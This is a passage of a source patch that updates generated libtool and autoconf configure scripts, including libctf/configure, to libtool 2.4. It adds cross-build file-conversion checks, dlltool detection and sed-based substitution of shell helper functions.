- file_list_spec_CXX='`$ECHO "$file_list_spec_CXX" | $SED "$delay_single_quote_subst"`'
- hardcode_action_CXX='`$ECHO "$hardcode_action_CXX" | $SED "$delay_single_quote_subst"`'
- compiler_lib_search_dirs_CXX='`$ECHO "$compiler_lib_search_dirs_CXX" | $SED "$delay_single_quote_subst"`'
-@@ -18730,8 +19576,13 @@ reload_flag \
- OBJDUMP \
- deplibs_check_method \
- file_magic_cmd \
-+file_magic_glob \
-+want_nocaseglob \
-+DLLTOOL \
-+sharedlib_from_linklib_cmd \
- AR \
- AR_FLAGS \
-+archiver_list_spec \
- STRIP \
- RANLIB \
- CC \
-@@ -18741,12 +19592,14 @@ lt_cv_sys_global_symbol_pipe \
- lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
-+nm_file_list_spec \
- lt_prog_compiler_no_builtin_flag \
--lt_prog_compiler_wl \
- lt_prog_compiler_pic \
-+lt_prog_compiler_wl \
- lt_prog_compiler_static \
- lt_cv_prog_compiler_c_o \
- need_locks \
-+MANIFEST_TOOL \
- DSYMUTIL \
- NMEDIT \
- LIPO \
-@@ -18762,7 +19615,6 @@ no_undefined_flag \
- hardcode_libdir_flag_spec \
- hardcode_libdir_flag_spec_ld \
- hardcode_libdir_separator \
--fix_srcfile_path \
- exclude_expsyms \
- include_expsyms \
- file_list_spec \
-@@ -18784,8 +19636,8 @@ LD_CXX \
- reload_flag_CXX \
- compiler_CXX \
- lt_prog_compiler_no_builtin_flag_CXX \
--lt_prog_compiler_wl_CXX \
- lt_prog_compiler_pic_CXX \
-+lt_prog_compiler_wl_CXX \
- lt_prog_compiler_static_CXX \
- lt_cv_prog_compiler_c_o_CXX \
- export_dynamic_flag_spec_CXX \
-@@ -18797,7 +19649,6 @@ no_undefined_flag_CXX \
- hardcode_libdir_flag_spec_CXX \
- hardcode_libdir_flag_spec_ld_CXX \
- hardcode_libdir_separator_CXX \
--fix_srcfile_path_CXX \
- exclude_expsyms_CXX \
- include_expsyms_CXX \
- file_list_spec_CXX \
-@@ -18831,6 +19682,7 @@ module_cmds \
- module_expsym_cmds \
- export_symbols_cmds \
- prelink_cmds \
-+postlink_cmds \
- postinstall_cmds \
- postuninstall_cmds \
- finish_cmds \
-@@ -18845,7 +19697,8 @@ archive_expsym_cmds_CXX \
- module_cmds_CXX \
- module_expsym_cmds_CXX \
- export_symbols_cmds_CXX \
--prelink_cmds_CXX; do
-+prelink_cmds_CXX \
-+postlink_cmds_CXX; do
- case \`eval \\\\\$ECHO \\\\""\\\\\$\$var"\\\\"\` in
- *[\\\\\\\`\\"\\\$]*)
- eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"\\\$\$var\\" | \\\$SED -e \\"\\\$double_quote_subst\\" -e \\"\\\$sed_quote_subst\\" -e \\"\\\$delay_variable_subst\\"\\\`\\\\\\""
-@@ -19610,7 +20463,8 @@ $as_echo X"$file" |
- # NOTE: Changes made to this file will be lost: look at ltmain.sh.
- #
- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
--# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
-+# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
-+# Inc.
- # Written by Gordon Matzigkeit, 1996
- #
- # This file is part of GNU Libtool.
-@@ -19713,19 +20567,42 @@ SP2NL=$lt_lt_SP2NL
- # turn newlines into spaces.
- NL2SP=$lt_lt_NL2SP
-
-+# convert \$build file names to \$host format.
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+
-+# convert \$build files to toolchain format.
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+
- # An object symbol dumper.
- OBJDUMP=$lt_OBJDUMP
-
- # Method to check whether dependent libraries are shared objects.
- deplibs_check_method=$lt_deplibs_check_method
-
--# Command to use when deplibs_check_method == "file_magic".
-+# Command to use when deplibs_check_method = "file_magic".
- file_magic_cmd=$lt_file_magic_cmd
-
-+# How to find potential files when deplibs_check_method = "file_magic".
-+file_magic_glob=$lt_file_magic_glob
-+
-+# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
-+want_nocaseglob=$lt_want_nocaseglob
-+
-+# DLL creation program.
-+DLLTOOL=$lt_DLLTOOL
-+
-+# Command to associate shared and link libraries.
-+sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
-+
- # The archiver.
- AR=$lt_AR
-+
-+# Flags to create an archive.
- AR_FLAGS=$lt_AR_FLAGS
-
-+# How to feed a file listing to the archiver.
-+archiver_list_spec=$lt_archiver_list_spec
-+
- # A symbol stripping program.
- STRIP=$lt_STRIP
-
-@@ -19755,6 +20632,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
- # Transform the output of nm in a C name address pair when lib prefix is needed.
- global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
-
-+# Specify filename containing input files for \$NM.
-+nm_file_list_spec=$lt_nm_file_list_spec
-+
-+# The root where to search for dependent libraries,and in which our libraries should be installed.
-+lt_sysroot=$lt_sysroot
-+
- # The name of the directory that contains temporary libtool files.
- objdir=$objdir
-
-@@ -19764,6 +20647,9 @@ MAGIC_CMD=$MAGIC_CMD
- # Must we lock files when doing compilation?
- need_locks=$lt_need_locks
-
-+# Manifest tool.
-+MANIFEST_TOOL=$lt_MANIFEST_TOOL
-+
- # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
- DSYMUTIL=$lt_DSYMUTIL
-
-@@ -19878,12 +20764,12 @@ with_gcc=$GCC
- # Compiler flag to turn off builtin functions.
- no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
-
--# How to pass a linker flag through the compiler.
--wl=$lt_lt_prog_compiler_wl
--
- # Additional compiler flags for building library objects.
- pic_flag=$lt_lt_prog_compiler_pic
-
-+# How to pass a linker flag through the compiler.
-+wl=$lt_lt_prog_compiler_wl
-+
- # Compiler flag to prevent dynamic linking.
- link_static_flag=$lt_lt_prog_compiler_static
-
-@@ -19970,9 +20856,6 @@ inherit_rpath=$inherit_rpath
- # Whether libtool must link a program against all its dependency libraries.
- link_all_deplibs=$link_all_deplibs
-
--# Fix the shell variable \$srcfile for the compiler.
--fix_srcfile_path=$lt_fix_srcfile_path
--
- # Set to "yes" if exported symbols are required.
- always_export_symbols=$always_export_symbols
-
-@@ -19988,6 +20871,9 @@ include_expsyms=$lt_include_expsyms
- # Commands necessary for linking programs (against libraries) with templates.
- prelink_cmds=$lt_prelink_cmds
-
-+# Commands necessary for finishing linking programs.
-+postlink_cmds=$lt_postlink_cmds
-+
- # Specify filename containing input files.
- file_list_spec=$lt_file_list_spec
-
-@@ -20034,210 +20920,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
-- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- case $xsi_shell in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result="${1##*/}"
--}
--
--# func_dirname_and_basename file append nondir_replacement
--# perform func_basename and func_dirname in a single function
--# call:
--# dirname: Compute the dirname of FILE. If nonempty,
--# add APPEND to the result, otherwise set result
--# to NONDIR_REPLACEMENT.
--# value returned in "$func_dirname_result"
--# basename: Compute filename of FILE.
--# value retuned in "$func_basename_result"
--# Implementation must be kept synchronized with func_dirname
--# and func_basename. For efficiency, we do not delegate to
--# those functions but instead duplicate the functionality here.
--func_dirname_and_basename ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
-- func_basename_result="${1##*/}"
--}
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--func_stripname ()
--{
-- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
-- # positional parameters, so assign one to ordinary parameter first.
-- func_stripname_result=${3}
-- func_stripname_result=${func_stripname_result#"${1}"}
-- func_stripname_result=${func_stripname_result%"${2}"}
--}
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=${1%%=*}
-- func_opt_split_arg=${1#*=}
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- case ${1} in
-- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
-- *) func_lo2o_result=${1} ;;
-- esac
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=${1%.*}.lo
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=$(( $* ))
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=${#1}
--}
--
--_LT_EOF
-- ;;
-- *) # Bourne compatible functions.
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- # Extract subdirectory from the argument.
-- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
-- if test "X$func_dirname_result" = "X${1}"; then
-- func_dirname_result="${3}"
-- else
-- func_dirname_result="$func_dirname_result${2}"
-- fi
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
--}
--
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--# func_strip_suffix prefix name
--func_stripname ()
--{
-- case ${2} in
-- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-- esac
--}
--
--# sed scripts:
--my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
--my_sed_long_arg='1s/^-[^=]*=//'
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
-- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=`expr "$@"`
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
--}
--
--_LT_EOF
--esac
--
--case $lt_shell_append in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1+=\$2"
--}
--_LT_EOF
-- ;;
-- *)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1=\$$1\$2"
--}
--
--_LT_EOF
-- ;;
-- esac
--
--
-- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- mv -f "$cfgfile" "$ofile" ||
-+ sed '$q' "$ltmain" >> "$cfgfile" \
-+ || (rm -f "$cfgfile"; exit 1)
-+
-+ if test x"$xsi_shell" = xyes; then
-+ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
-+func_dirname ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_basename ()$/,/^} # func_basename /c\
-+func_basename ()\
-+{\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
-+func_dirname_and_basename ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
-+func_stripname ()\
-+{\
-+\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
-+\ # positional parameters, so assign one to ordinary parameter first.\
-+\ func_stripname_result=${3}\
-+\ func_stripname_result=${func_stripname_result#"${1}"}\
-+\ func_stripname_result=${func_stripname_result%"${2}"}\
-+} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
-+func_split_long_opt ()\
-+{\
-+\ func_split_long_opt_name=${1%%=*}\
-+\ func_split_long_opt_arg=${1#*=}\
-+} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
-+func_split_short_opt ()\
-+{\
-+\ func_split_short_opt_arg=${1#??}\
-+\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
-+} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
-+func_lo2o ()\
-+{\
-+\ case ${1} in\
-+\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
-+\ *) func_lo2o_result=${1} ;;\
-+\ esac\
-+} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_xform ()$/,/^} # func_xform /c\
-+func_xform ()\
-+{\
-+ func_xform_result=${1%.*}.lo\
-+} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_arith ()$/,/^} # func_arith /c\
-+func_arith ()\
-+{\
-+ func_arith_result=$(( $* ))\
-+} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_len ()$/,/^} # func_len /c\
-+func_len ()\
-+{\
-+ func_len_result=${#1}\
-+} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+fi
-+
-+if test x"$lt_shell_append" = xyes; then
-+ sed -e '/^func_append ()$/,/^} # func_append /c\
-+func_append ()\
-+{\
-+ eval "${1}+=\\${2}"\
-+} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
-+func_append_quoted ()\
-+{\
-+\ func_quote_for_eval "${2}"\
-+\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
-+} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ # Save a `func_append' function call where possible by direct use of '+='
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+else
-+ # Save a `func_append' function call even when '+=' is not available
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+fi
-+
-+if test x"$_lt_function_replace_fail" = x":"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
-+$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
-+fi
-+
-+
-+ mv -f "$cfgfile" "$ofile" ||
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
-
-@@ -20265,12 +21110,12 @@ with_gcc=$GCC_CXX
- # Compiler flag to turn off builtin functions.
- no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_CXX
-
--# How to pass a linker flag through the compiler.
--wl=$lt_lt_prog_compiler_wl_CXX
--
- # Additional compiler flags for building library objects.
- pic_flag=$lt_lt_prog_compiler_pic_CXX
-
-+# How to pass a linker flag through the compiler.
-+wl=$lt_lt_prog_compiler_wl_CXX
-+
- # Compiler flag to prevent dynamic linking.
- link_static_flag=$lt_lt_prog_compiler_static_CXX
-
-@@ -20357,9 +21202,6 @@ inherit_rpath=$inherit_rpath_CXX
- # Whether libtool must link a program against all its dependency libraries.
- link_all_deplibs=$link_all_deplibs_CXX
-
--# Fix the shell variable \$srcfile for the compiler.
--fix_srcfile_path=$lt_fix_srcfile_path_CXX
--
- # Set to "yes" if exported symbols are required.
- always_export_symbols=$always_export_symbols_CXX
-
-@@ -20375,6 +21217,9 @@ include_expsyms=$lt_include_expsyms_CXX
- # Commands necessary for linking programs (against libraries) with templates.
- prelink_cmds=$lt_prelink_cmds_CXX
-
-+# Commands necessary for finishing linking programs.
-+postlink_cmds=$lt_postlink_cmds_CXX
-+
- # Specify filename containing input files.
- file_list_spec=$lt_file_list_spec_CXX
-
-diff --git a/libctf/configure b/libctf/configure
-index 1dc1b65fac3..c5c2f36bbc0 100755
---- a/libctf/configure
-+++ b/libctf/configure
-@@ -663,6 +663,8 @@ OTOOL
- LIPO
- NMEDIT
- DSYMUTIL
-+MANIFEST_TOOL
-+DLLTOOL
- OBJDUMP
- LN_S
- NM
-@@ -790,6 +792,7 @@ enable_static
- with_pic
- enable_fast_install
- with_gnu_ld
-+with_libtool_sysroot
- enable_libtool_lock
- enable_largefile
- enable_werror_always
-@@ -1448,6 +1451,8 @@ Optional Packages:
- --with-pic try to use only PIC/non-PIC objects [default=use
- both]
- --with-gnu-ld assume the C compiler uses GNU ld [default=no]
-+ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
-+ (or the compiler's sysroot if not specified).
- --with-system-zlib use installed libz
-
- Some influential environment variables:
-@@ -5406,8 +5411,8 @@ esac
-
-
-
--macro_version='2.2.7a'
--macro_revision='1.3134'
-+macro_version='2.4'
-+macro_revision='1.3293'
-
-
-
-@@ -5518,7 +5523,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
- $as_echo_n "checking how to print strings... " >&6; }
- # Test print first, because it will be a builtin if present.
--if test "X`print -r -- -n 2>/dev/null`" = X-n && \
-+if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
- test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
- ECHO='print -r --'
- elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -6204,8 +6209,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
- # Try some XSI features
- xsi_shell=no
- ( _lt_dummy="a/b/c"
-- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
-- = c,a/b,, \
-+ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
-+ = c,a/b,b/c, \
- && eval 'test $(( 1 + 1 )) -eq 2 \
- && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
- && xsi_shell=yes
-@@ -6254,6 +6259,80 @@ esac
-
-
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
-+$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
-+if ${lt_cv_to_host_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
-+ ;;
-+ esac
-+ ;;
-+ *-*-cygwin* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
-+ ;;
-+ esac
-+ ;;
-+ * ) # unhandled hosts (and "normal" native builds)
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+esac
-+
-+fi
-+
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
-+$as_echo "$lt_cv_to_host_file_cmd" >&6; }
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
-+$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
-+if ${lt_cv_to_tool_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ #assume ordinary cross tools, or native build.
-+lt_cv_to_tool_file_cmd=func_convert_file_noop
-+case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ esac
-+ ;;
-+esac
-+
-+fi
-+
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
-+$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
-+
-+
-+
-+
-+
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
- $as_echo_n "checking for $LD option to reload object files... " >&6; }
- if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -6270,6 +6349,11 @@ case $reload_flag in
- esac
- reload_cmds='$LD$reload_flag -o $output$reload_objs'
- case $host_os in
-+ cygwin* | mingw* | pw32* | cegcc*)
-+ if test "$GCC" != yes; then
-+ reload_cmds=false
-+ fi
-+ ;;
- darwin*)
- if test "$GCC" = yes; then
- reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -6438,7 +6522,8 @@ mingw* | pw32*)
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- else
-- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
-+ # Keep this pattern in sync with the one in func_win32_libid.
-+ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- fi
- ;;
-@@ -6592,6 +6677,21 @@ esac
- fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
- $as_echo "$lt_cv_deplibs_check_method" >&6; }
-+
-+file_magic_glob=
-+want_nocaseglob=no
-+if test "$build" = "$host"; then
-+ case $host_os in
-+ mingw* | pw32*)
-+ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
-+ want_nocaseglob=yes
-+ else
-+ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
-+ fi
-+ ;;
-+ esac
-+fi
-+
- file_magic_cmd=$lt_cv_file_magic_cmd
- deplibs_check_method=$lt_cv_deplibs_check_method
- test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -6607,9 +6707,162 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
-
-
-
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$DLLTOOL"; then
-+ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+DLLTOOL=$ac_cv_prog_DLLTOOL
-+if test -n "$DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
-+$as_echo "$DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_DLLTOOL"; then
-+ ac_ct_DLLTOOL=$DLLTOOL
-+ # Extract the first word of "dlltool", so it can be a program name with args.
-+set dummy dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
